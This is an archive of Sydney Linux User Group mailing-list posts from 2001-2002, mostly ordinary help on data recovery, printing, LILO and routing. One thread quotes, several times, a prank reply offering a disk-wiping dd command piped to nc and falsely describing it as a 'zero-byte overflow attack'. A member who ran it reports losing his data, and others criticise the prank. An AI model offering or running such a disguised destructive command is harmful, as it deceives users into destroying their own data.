RE: [SLUG] Recovering data from a Windows disk using Linux tools.
Hi Guys Thanks for all those who made me feel more stupid. not. Even though I'm not a newbie, I did a very stupid thing. I apologise for not measuring up to wizard status. Really though, thanks to all those who really gave some good pointers on retrieving the data. In the end, I installed a fresh copy of Win 98 in the first part of the disk which was wiped. As I wanted to retrieve a Fat16 partition on which I stored my data, it seemed more logical. I googled and found this wonderful, wonderful sight, http://www.cgsecurity.org/index.html?testdisk.html This, it turns out, compiles and runs under linux and Win 9x. A little 100k program from a DOS disk, enabled me to see and reenable my partitions on the last part of my drive. A reboot into Windows and voila, my drive is there, I just have to reinstall my bootload for Linux now. I can laugh at myself, and have learnt my lesson. Thanks all Chris -Original Message- From: Michael Lake [mailto:[EMAIL PROTECTED]] Sent: Friday, 19 April 2002 4:39 PM To: [EMAIL PROTECTED] Subject: Re: [SLUG] Recovering data from a Windows disk using Linux tools. ben_donohue wrote: Ahh, flame time again, ahh, really quickly, ahh there used to be undelete. probably heaps of free tools on the internet. DOS deletes the first character of the file name. changes it to ?. You'll need to use your linux tools to reset the first character of the file name and then it recoginises it in the directory listing as a valid file. Ah but he didnt delete the files. He reformatted the disk :-) He did a better job than undelete :-) I'll get him to bring the disk to me and see what I can see under Linux. Mike -- Michael Lake University of Technology, Sydney Email: mailto:[EMAIL PROTECTED] Ph: 02 9514 1724 Fx: 02 9514 1628 Linux enthusiast, active caver and interested in anything technical. UTS CRICOS Provider Code: 00099F DISCLAIMER = This email message and any accompanying attachments may contain confidential information. If you are not the intended recipient, do not read, use, disseminate, distribute or copy this message or attachments. If you have received this message in error, please notify the sender immediately and delete this message. Any views expressed in this message are those of the individual sender, except where the sender expressly, and with authority, states them to be the views the University of Technology Sydney. Before opening any attachments, please check them for viruses and defects. = -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] i need a sofware to penetrate in to systems
Ay Caramba Does this do what I think it does and is equivalent to format c: in dos ? There should have been some warning to this, as not everyone is familiar with the dd command (including me) I stupidly as a joke tried this, thinking that the nc command would actually do what was thought. Please remember that there are newbies and stubies here I've no idea if what I've done is fixable, but I'm not happy if I've lost all my data on my hard drive. I don't care about programs but my personal stuff is hard to replace. While it may be fun to take the mickey out of Osama, if you lost all your personal data, and didn't have a backup mechanism available to restore it from, would you be happy ? Disappointedly Chris -Original Message- From: Daniel Stone [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 17 April 2002 8:19 PM To: Matthew Sanderson Cc: OSAMA; [EMAIL PROTECTED] Subject: Re: [SLUG] i need a sofware to penetrate in to systems On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote: OSAMA, Try this command from a DOS prompt, it accesses the CIA and FBI's websites and lets you access the restricted area: FORMAT C: But seriously, I suggest: dd if=/dev/zero of=/dev/hda bs=1k | nc host here 65535 This is a zero-byte overflow attack - hosts on port 65535 are vulnerable because that's near an overflow region! Have fun! d -- Daniel Stone[EMAIL PROTECTED] [EMAIL PROTECTED] KDE: It's the new black! http://www.kde.org Kopete (multi-protocol IM client) Developer http://www.kdedevelopers.net/kopete --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] i need a sofware to penetrate in to systems
I'm definitely not trolling I'll get my data back some how I'll leave no stone unturned, but seriously if people are going to put commands that can potentially ruin a newbie or gullible person's data, at least make it 100% clear that it is a joke and/or provide a warning of it's consequences. I enjoy a joke as much as the next person. I'll only be at this company for another 2 weeks, so I don't care about the OS and stuff. My personal data which I was just about to back up and write to CD is going to be hard to replace. Chris -Original Message- From: Matthew Hannigan [mailto:[EMAIL PROTECTED]] Sent: Friday, 19 April 2002 12:28 PM To: Booth, Christopher (Aus) - ATP Cc: 'Daniel Stone'; Matthew Sanderson; [EMAIL PROTECTED] Subject: Re: [SLUG] i need a sofware to penetrate in to systems I really hope you're not trolling too., If not, your data is probably not recoverable. Theoritically it may be; but it would cost thousands and thousands to do so. Do a search for data recovery on google. One good one seems to be http://www.ibas.com/ Booth, Christopher (Aus) - ATP wrote: Ay Caramba Does this do what I think it does and is equivalent to format c: in dos ? There should have been some warning to this, as not everyone is familiar with the dd command (including me) I stupidly as a joke tried this, thinking that the nc command would actually do what was thought. Please remember that there are newbies and stubies here I've no idea if what I've done is fixable, but I'm not happy if I've lost all my data on my hard drive. I don't care about programs but my personal stuff is hard to replace. While it may be fun to take the mickey out of Osama, if you lost all your personal data, and didn't have a backup mechanism available to restore it from, would you be happy ? Disappointedly Chris -Original Message- From: Daniel Stone [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 17 April 2002 8:19 PM To: Matthew Sanderson Cc: OSAMA; [EMAIL PROTECTED] Subject: Re: [SLUG] i need a sofware to penetrate in to systems On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote: OSAMA, Try this command from a DOS prompt, it accesses the CIA and FBI's websites and lets you access the restricted area: FORMAT C: But seriously, I suggest: dd if=/dev/zero of=/dev/hda bs=1k | nc host here 65535 This is a zero-byte overflow attack - hosts on port 65535 are vulnerable because that's near an overflow region! Have fun! d --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] i need a sofware to penetrate in to systems
www.r-tt.com Has R-linux to recover from EXT2 file systems and EXT3 which is based on EXT2 Strangely though it runs on Windows Chris -Original Message- From: Booth, Christopher (Aus) - ATP Sent: Friday, 19 April 2002 12:51 PM To: 'Matthew Hannigan'; Booth, Christopher (Aus) - ATP Cc: 'Daniel Stone'; Matthew Sanderson; [EMAIL PROTECTED] Subject: RE: [SLUG] i need a sofware to penetrate in to systems I'm definitely not trolling I'll get my data back some how I'll leave no stone unturned, but seriously if people are going to put commands that can potentially ruin a newbie or gullible person's data, at least make it 100% clear that it is a joke and/or provide a warning of it's consequences. I enjoy a joke as much as the next person. I'll only be at this company for another 2 weeks, so I don't care about the OS and stuff. My personal data which I was just about to back up and write to CD is going to be hard to replace. Chris -Original Message- From: Matthew Hannigan [mailto:[EMAIL PROTECTED]] Sent: Friday, 19 April 2002 12:28 PM To: Booth, Christopher (Aus) - ATP Cc: 'Daniel Stone'; Matthew Sanderson; [EMAIL PROTECTED] Subject: Re: [SLUG] i need a sofware to penetrate in to systems I really hope you're not trolling too., If not, your data is probably not recoverable. Theoritically it may be; but it would cost thousands and thousands to do so. Do a search for data recovery on google. One good one seems to be http://www.ibas.com/ Booth, Christopher (Aus) - ATP wrote: Ay Caramba Does this do what I think it does and is equivalent to format c: in dos ? There should have been some warning to this, as not everyone is familiar with the dd command (including me) I stupidly as a joke tried this, thinking that the nc command would actually do what was thought. Please remember that there are newbies and stubies here I've no idea if what I've done is fixable, but I'm not happy if I've lost all my data on my hard drive. I don't care about programs but my personal stuff is hard to replace. While it may be fun to take the mickey out of Osama, if you lost all your personal data, and didn't have a backup mechanism available to restore it from, would you be happy ? Disappointedly Chris -Original Message- From: Daniel Stone [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 17 April 2002 8:19 PM To: Matthew Sanderson Cc: OSAMA; [EMAIL PROTECTED] Subject: Re: [SLUG] i need a sofware to penetrate in to systems On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote: OSAMA, Try this command from a DOS prompt, it accesses the CIA and FBI's websites and lets you access the restricted area: FORMAT C: But seriously, I suggest: dd if=/dev/zero of=/dev/hda bs=1k | nc host here 65535 This is a zero-byte overflow attack - hosts on port 65535 are vulnerable because that's near an overflow region! Have fun! d --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.346 / Virus Database: 194 - Release Date: 10/04/02 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] pdf to text
I think Ghostscript has the tool called pdftotext Regards Chris -Original Message- From: David To: [EMAIL PROTECTED] Sent: 16/04/02 20:44 pm Subject: [SLUG] pdf to text Are there any tools for doing this? TIA, David. -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] pdf to text
oops or maybe xpdf comes with the tool according to man pdftotext Chris -Original Message- From: David To: [EMAIL PROTECTED] Sent: 16/04/02 20:44 pm Subject: [SLUG] pdf to text Are there any tools for doing this? TIA, David. -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] lilo stopping booting at L
Sorry for this coming from Outlook. I've got this new CPU and motherboard, and RAM, or rather 2nd hand. Anyway, my RedHat 7.1 hard disk, which dual boots between 2k and RH7.1. I am getting this error on boot up in which lilo stops at L. Any reason, why on this and a few other motherboards that I have tried, I get this happening ? Chris The information in this e-mail and any attachment(s) is confidential and may be legally privileged. This e-mail is intended solely for the addressee. If you are not the addressee, dissemination, copying or other use of this e-mail or any of its content is strictly prohibited and may be unlawful. If you are not the intended recipient please inform the sender immediately and destroy the e-mail and any copies. All liability for viruses is excluded to the fullest extent permitted by law. Any views expressed in this message are those of the individual sender. No contract may be construed by this e-mail. -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] debian.potato-X
also midnight commander (mc) which comes on (at least) Red Hat and Mandrake distributions. This is a Norton Commander or XTree gold clone. F3 to view a file F4 to edit a file Chris -Original Message- From: Michael Lake [mailto:[EMAIL PROTECTED]] Sent: Tuesday, 19 March 2002 9:41 AM To: [EMAIL PROTECTED] Subject: Re: [SLUG] debian.potato-X Bill Taylor wrote: I was installing. last thing before this it set VGA16 as default. when it does manage to start x it locks the system up, the only way out is to cut the power. cat didn't work last night, unless I did somthing wrong. the particular readme's are .gz .does that make a difference? You probably have lynx on your system. It's a text based browser which will automatically uncompress the giz zipped files and show you the README inside. That way you dont have to use gunzip to uncompress them. Just change to the directory where the readme is and type lynx . The dot stands for the current directory. You can then scroll to the README.gz line and hit enter and it will display it. -- Michael Lake University of Technology, Sydney Email: mailto:[EMAIL PROTECTED] Ph: 02 9514 1724 Fx: 02 9514 1628 Linux enthusiast, active caver and interested in anything technical. UTS CRICOS Provider Code: 00099F DISCLAIMER = This email message and any accompanying attachments may contain confidential information. If you are not the intended recipient, do not read, use, disseminate, distribute or copy this message or attachments. If you have received this message in error, please notify the sender immediately and delete this message. Any views expressed in this message are those of the individual sender, except where the sender expressly, and with authority, states them to be the views the University of Technology Sydney. Before opening any attachments, please check them for viruses and defects. = -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.332 / Virus Database: 186 - Release Date: 6/03/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.332 / Virus Database: 186 - Release Date: 6/03/02 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] might be a stupid question
This would work for non ntfs partitions, eg. fat and fat32, as (at least with Mandrake 8.1) the ntfs driver only allows readonly access. A swap file would need to be on a partition that has read and write access Chris -Original Message- From: Manoj Mathew [mailto:[EMAIL PROTECTED]] Sent: Friday, 8 March 2002 6:33 AM To: [EMAIL PROTECTED] Subject: Re: [SLUG] might be a stupid question On Thu, Mar 07, 2002 at 11:39:16PM +1100, Jamie Wilkinson wrote: For some reason I was thinking you meant use the same swapfile otherwise I don't see the relevance of which particular Windows version ... oh wait, the filesystem. Yes, Pete was saying you back up the filesystem that the windows swapfile is on, then you mkswap that partition... on shutdown you swapoff then unpack the filesystem back onto that partition. Actually there is no need to do this. You can use the Windows swap file itself in GNU/Linux. All you need to do is a mkswap on the Windows swapfile, each time you boot. mvm. -- Manoj Mathew (GPG: 9FD875AB) -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.330 / Virus Database: 184 - Release Date: 28/02/02 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.330 / Virus Database: 184 - Release Date: 28/02/02 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Star Office 6.0 Beta and Open Office 6.0 hangs when printing large document
Has any one come across any issues and fixes with these printing ~150 pages with footnotes ? -- Christopher Booth Software and Production Specialist Technical Support Centre Fuji Xerox Australia Ph. 61 2 9469 2493 Fax: 61 2 9469 2303 Technical Support Hotline: 1800 028 962 Technical Support Email: [EMAIL PROTECTED] The information in this e-mail and any attachment(s) is confidential and may be legally privileged. This e-mail is intended solely for the addressee. If you are not the addressee, dissemination, copying or other use of this e-mail or any of its content is strictly prohibited and may be unlawful. If you are not the intended recipient please inform the sender immediately and destroy the e-mail and any copies. All liability for viruses is excluded to the fullest extent permitted by law. Any views expressed in this message are those of the individual sender. No contract may be construed by this e-mail. -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] routing
Hi guys At work I have my Linux laptop on the network with a static IP X.X.105.30 When I dial-in I am given another IP address X.X.143.187 Most things work, PROXY for websurfing, DNS, but if I wan't to access my email thorugh sylpheed, or ping the mail server X.X.104.13 it always trys to connect through eth0 (X.X.105.30). If I ifdown eth0 then it only uses ppp0, which is fine unless I want to access something via eth0. What IPTABLES or route commands would I need to use to enable it to use ppp0 as the interface that it connects through instead ? I have the same problem, if I use my home box for internet connection sharing from Win 2000, via a network crossover cable to my laptop. This uses 192.168.0.1 for the Win 2K and an IP alias on my laptop 192.168.0.4 on eth0:0 Obviously I can't ifdown eth0 as I lose all connectivity. TIA Chris -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Deleting jobs from postfix queue
Thanks Jeff You pointed me in the right direction there was also /var/spool/postfix/deferred Thanks again Christopher Booth -Original Message- From: Jeff Waugh [mailto:[EMAIL PROTECTED]] Sent: Wednesday, December 05, 2001 5:50 PM To: [EMAIL PROTECTED] Subject: Re: [SLUG] Deleting jobs from postfix queue quote who=Christopher Booth How do I delete jobs from the postfix mailq Stop postfix, and delete the files from /var/spool/postfix/defer* - Jeff -- 100% Pure Slashdot Wisdom: Source code gives a whole new meaning to free software. -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Offline Email Reading that pre-fetches URL's
I stumbled across the command mail-file yesterday there is no man nor info on this, has anyone used this, does it do the same as metasend ? Chris -Original Message- From: Grant Parnell [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 29, 2001 7:19 PM To: Mike Holland Cc: [EMAIL PROTECTED] Subject: Re: [SLUG] Offline Email Reading that pre-fetches URL's On Mon, 26 Nov 2001, Mike Holland wrote: Whats is a good way to add an attachment to an email from a script/command-line ? (though I think it would be better as a separate mail.) man metasend Crude interface for sending non-text email -- ---GRiP--- Web: www.arcadia.au.com/gripz Phone/fax: 02 4950 1194 Mobile: 0408 686 201 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Offline Email Reading that pre-fetches URL's
That should have been mail-files also came across http://www.shelldorado.com/scripts/cmds/sendfile which is a script which doesn't require knowing the mime type of the file Chris -Original Message- From: Booth, Christopher (Aus) - ATP [mailto:[EMAIL PROTECTED]] Sent: Friday, November 30, 2001 9:17 AM To: 'Grant Parnell'; Mike Holland Cc: [EMAIL PROTECTED] Subject: RE: [SLUG] Offline Email Reading that pre-fetches URL's I stumbled across the command mail-file yesterday there is no man nor info on this, has anyone used this, does it do the same as metasend ? Chris -Original Message- From: Grant Parnell [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 29, 2001 7:19 PM To: Mike Holland Cc: [EMAIL PROTECTED] Subject: Re: [SLUG] Offline Email Reading that pre-fetches URL's On Mon, 26 Nov 2001, Mike Holland wrote: Whats is a good way to add an attachment to an email from a script/command-line ? (though I think it would be better as a separate mail.) man metasend Crude interface for sending non-text email -- ---GRiP--- Web: www.arcadia.au.com/gripz Phone/fax: 02 4950 1194 Mobile: 0408 686 201 -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Argentina
Spanish spam spam en español just in time for Christmas justo a tiempo para navidad A stuffed pig un lechon Chris -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] PostScript to PDF via virtual printer
Has anyone got this working with cups on Mandrake 8? Which funnily enough has the adobe distiller ppd listed as a printer driver, only outputs in *.ps though I am toying with making a cron job to check the directory every hour and convert any postscript files to pdf. I am trying to set it up, but restarting the cupsd rewrites the /etc/printcap file Chris -Original Message- From: Mike Lake [mailto:[EMAIL PROTECTED]] Sent: Friday, 16 November 2001 12:59 am To: slug Subject: Re: [SLUG] PostScript to PDF via virtual printer On Thu, Nov 15, 2001 at 10:30:15AM +1100, [EMAIL PROTECTED] wrote: Just stumbled over this too, last night. It avoids the need to buy expensive PDF creation software from Adobe. http://www.linuxgazette.com/issue72/bright.html Yes it's an ace trick. I have setup a few Windows PC's here to use a virtual PostScript printer (usually a colour HP laserjet) and ps2pdf to enable users to create PDF files. Whats really most interesting though is that most people believe that you MUST have Adobe Distiller to create any PDF files. I often get M$ Word files submitted to some web sites I run with the comment from the user I don't have Distiller so I can't create PDF. Alas Adobe markets so well :-( Mike (who still prefers ps over pdf as I can lift up the bonnet of ps and fiddle with the carburettor) -- We don't really understand it, so we'll give it to the programmers. Michael Lake, University of Technology, Sydney Work: [EMAIL PROTECTED] Ph: 02 9514 1724 Fx: 02 9514 1628 Home: http://www.speleonics.com.au Linux enthusiast, active caver and interested in anything technical. *** -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] A PostScript file and a Printer.
on a PC use lpr -S servername -P Printqueue filename.ps Chris -Original Message- From: Bill Bennett [mailto:[EMAIL PROTECTED]] Sent: Thursday, November 15, 2001 5:38 PM To: [EMAIL PROTECTED] Subject: [SLUG] A PostScript file and a Printer. Dear Anyone, Another, alright a recurrent problem with interfacing Microsoft and Linux. The Department has a colour printer, a HP 5. This is connected to a PC running Windows. The PC is the only contact with the printer. I have a PostScript file on a floppy. I'd like to send it for printing, but no-one can tell me how this can be done. In the normal turn of events, where I had the file on the mainframe, I'd use the Unix command lpr. However in this case I have to load the file to the PC. I'm reluctant to use Distiller, although I know it would work. The end results always seem not to be up to the standard of a simple PostScript print. Any help etc., Bill Bennett. -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Filesystem flame^H^H^H^H^H discussion.
If you are dual booting, and partitioning with Partition Magic, I think it only recognises EXT2 and Swap as Linux partitions, could have changed for the latest version. Chris -Original Message- From: Andre Pang [mailto:[EMAIL PROTECTED]] Sent: Thursday, 1 November 2001 5:30 pm To: [EMAIL PROTECTED] Subject: Re: [SLUG] Filesystem flame^H^H^H^H^H discussion. On Thu, Nov 01, 2001 at 05:12:13PM +1100, Catie Flick wrote: Check this out: http://www.namesys.com/ I dunno, but a site that has testimonials for their fs makes me think of various fast-acting fat-sucking weight-loss therapies' sites. :-) Well ... to defend them, they are a business, and testomonials do help when selling your product. Even if the evidence is anecdotal, I think that reiserfs powering sourceforge.net and cvs-mirror.mozilla.org is a pretty good testament that it can be very reliable. Very different from weight-loss-foo-ninja therapies :). -- #ozone/algorithm [EMAIL PROTECTED] - trust.in.love.to.save -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] FW: Paul Thurrot - a Windows XP summary copycat OSes h ey ?
The link to the article is here http://www.winsupersite.com/reviews/windowsxp_osx.asp He is less kind to Linux and Linux users than Mac OS Yes Xerox did invent the GUI too. Are we just playing catch-up to Windows ? or truly innovating. Chris -Original Message- From: George Vieira [mailto:[EMAIL PROTECTED]] Sent: Monday, 29 October 2001 3:34 pm To: '[EMAIL PROTECTED]' Subject: RE: [SLUG] FW: Paul Thurrot - a Windows XP summary copycat OSes h ey ? yeah funny that, and yet (if i'm not wrong) MACs had GUIs before windows. Xerox were the first bring on the GUI and then it was Apple (i think).. then Windows.. Funny thing today, (Don't want to start another thread) I've just noticed the amount of Windows XP advertising going around with the message Surprise Yourself. I laughed so hard... you see, last Saturday I had W2K problems and a friend gave me Windows XP final release and I installed it.. it would recognise my USB board and that SURPRISED ME.. thanks, George Vieira Network Engineer Citadel Computer Systems P/L -Original Message- From: Booth, Christopher (Aus) - ATP [mailto:[EMAIL PROTECTED]] Sent: Monday, October 29, 2001 3:29 PM To: '[EMAIL PROTECTED]' Cc: Snedden, Paul (aus) ATP Subject: [SLUG] FW: Paul Thurrot - a Windows XP summary copycat OSes hey ? See what some unenlightened individuals are sprouting Chris -Original Message- From: [EMAIL PROTECTED] Subject: RE: Paul Thurrot - a Windows XP summary Perhaps I should put this in context. Mr Thurrot's original statement was ...for copycat OSs such a Linux and Mac OS, etc etc etc. -Original Message- From: [EMAIL PROTECTED] Subject: Paul Thurrot - a Windows XP summary for competitors such as Linux, where innovation often has equated to simply copying the feature set of Windows, the bar has been raised yet again, this time to stupefying heights. Kind regards, ~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~ Paul Snedden -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] XP launch
Wear your Penguin hats, Suse T-Shirts, Gnu-Overalls, and BSD Daemons socks :þ Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 24 October 2001 4:11 pm To: [EMAIL PROTECTED] Subject: [SLUG] XP launch Anyone going to either session tomorrow for a laugh ? I'll be at the morning one if people want to arrange to meet and attend en masse, as it were... Something about safety in numbers...:[p) -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Printing using CUPS
do you have gui ? check out kups and/or qtcups, there may even be a gnome config. also it should allow administration via the browser http://127.0.0.1:631 if I'm not mistaken is the administration page. You can use lynx to access it too, and has online help in html and pdf format It is very well documented, and of course www.cups.org has the documentation online. IMHO the easiest Unix Printing system around. Regards Christopher Booth -Original Message- From: Ken Caldwell [mailto:[EMAIL PROTECTED]] Sent: Wednesday, 24 October 2001 11:16 pm To: [EMAIL PROTECTED] Subject: [SLUG] Printing using CUPS Sluggers and Debianites, I am having diffficulty getting printing working properly on a box on which I have installed a Debian (testing) distribution. I usually install apsfilter and lpr but this time I thought to try CUPS. Among the 416 installed packages are the following which may be relevant to the discussion. cupsomatic-ppd, cupsys, cupsys-bsd, cupsys-client, cupsys-driver-gimpprint, cupsys-pstoraster, gimp1.2-print, gs, gsfonts, gsfonts-other, gsfonts-X11, gtklp, libcupsys2, libcupsys2-dev, libgimpprint-dev, libgimpprint-doc, libgimpprint4.1.7, libpaperg, and xpp. The printer is a Canon BJC-210. After much searching through documentation scattered through /usr/share/doc/... and man (this that) I have produced some printed output. I have configured the printer by doing (as root) lpadmin -p Canon -E -v parallel:/dev/lp0 -m BJC-210-bjc600.ppd lpadmin -d Canon /etc/init.d/cupsys restart after which I can print a file (say) .bashrc by either lpr .bashrc or starting xpp and typing .bashrc in the box and clicking on print. In either case the result is the same, the file is printed with no margins and the traditional stair step effect. xpp provides a clue in that it lists as the only available printer Canon: Local Raw Printer (single printer) so I guess some sort of filter is required. My question is what do I have to do to fix this? regards, Ken -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] imagemagick install
In instances like these, I have used the -ivh -force and -nodeps and then got the later rpm from the install cd and done an rpm -force on that rather than a -uvh so that you get the earlier library files and the later library files as well. Does that explain it well. It is not an ideal situation, I would love to have a rpm viewer/installer that allowed you to browse the rpm file (like winzip does allow you to view inside zip files) and extract only the file you need. This may or may/not exist, I am not sure. Chris -Original Message- From: cpaul To: [EMAIL PROTECTED] Sent: 10/24/01 7:02 PM Subject: [SLUG] imagemagick install just trying to install imagemagick (and perlmagick) on a RH6.2 system from the binaries at my local imagemagick mirror. the imagemagick rpm wants bzip 1.0.0 - cool - but if i try: # rpm -Uvh bzip2-1.0.0-1.i386.rpm i get: error: failed dependencies: libbz2.so.0 is needed by rpm-4.0.2-6x rpm-4.0.2-6x appears to be the latest around. is --force or --nodeps a realistic way to go? i've not used either before and would appreciate some sound advice :) thanks, chris paul -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
[SLUG] Lindows ? Is this a hoax or for real
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[SLUG] FW: Optus@Home running on Linux.
-Original Message- From: Lane, Alex - (Aus) ATP Sent: Friday, 19 October 2001 12:28 pm To: Booth, Christopher (Aus) - ATP Subject: Optus@Home running on Linux. Optus@Home network severs final ties to Excite --- By BARRY PARK, FAIRFAX IT Thursday 18 October, 2001 15:52 GMT+10:00 URL:http://it.mycareer.com.au/breaking/2001/10/18/FFXDWFEGXSC.html -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: http://lists.slug.org.au/listinfo/slug
RE: [SLUG] Completely OT -el Presidente, perfect pitch and boids
I thought relative pitch was throwing the mother-in-law out of the top floor window Chris BTW what aural training programs are available for Linux. Advanced chord recognition programs ? like A7alt, Bm7b5, E7#9b13 -Original Message- From: Adam Kennedy [mailto:[EMAIL PROTECTED]] Sent: Friday, October 05, 2001 8:47 AM To: Laurie Savage; [EMAIL PROTECTED] Subject: Re: [SLUG] Compltetly OT -el Presidente, perfect pitch and boids Yes What you REALLY want to relative pitch, the ability to name any note once you have been given a starting point. Not as sexy as perfect, but just as practical. If something is off by a fraction of a semitone, you'll barely notice :) Adam - Original Message - From: Laurie Savage [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, October 05, 2001 8:20 AM Subject: [SLUG] Compltetly OT -el Presidente, perfect pitch and boids Conrad, Never wish for perfect pitch, one day you'll be doing an acoustic gig in a pub and the piano will be ALMOST a complete semitone out! -- Laurie Savage == If Coltrane hadn't have existed it would have been necessary for us to invent him. == -- SLUG - Sydney Linux User Group Mailing List - http://slug.org.au/ More Info: 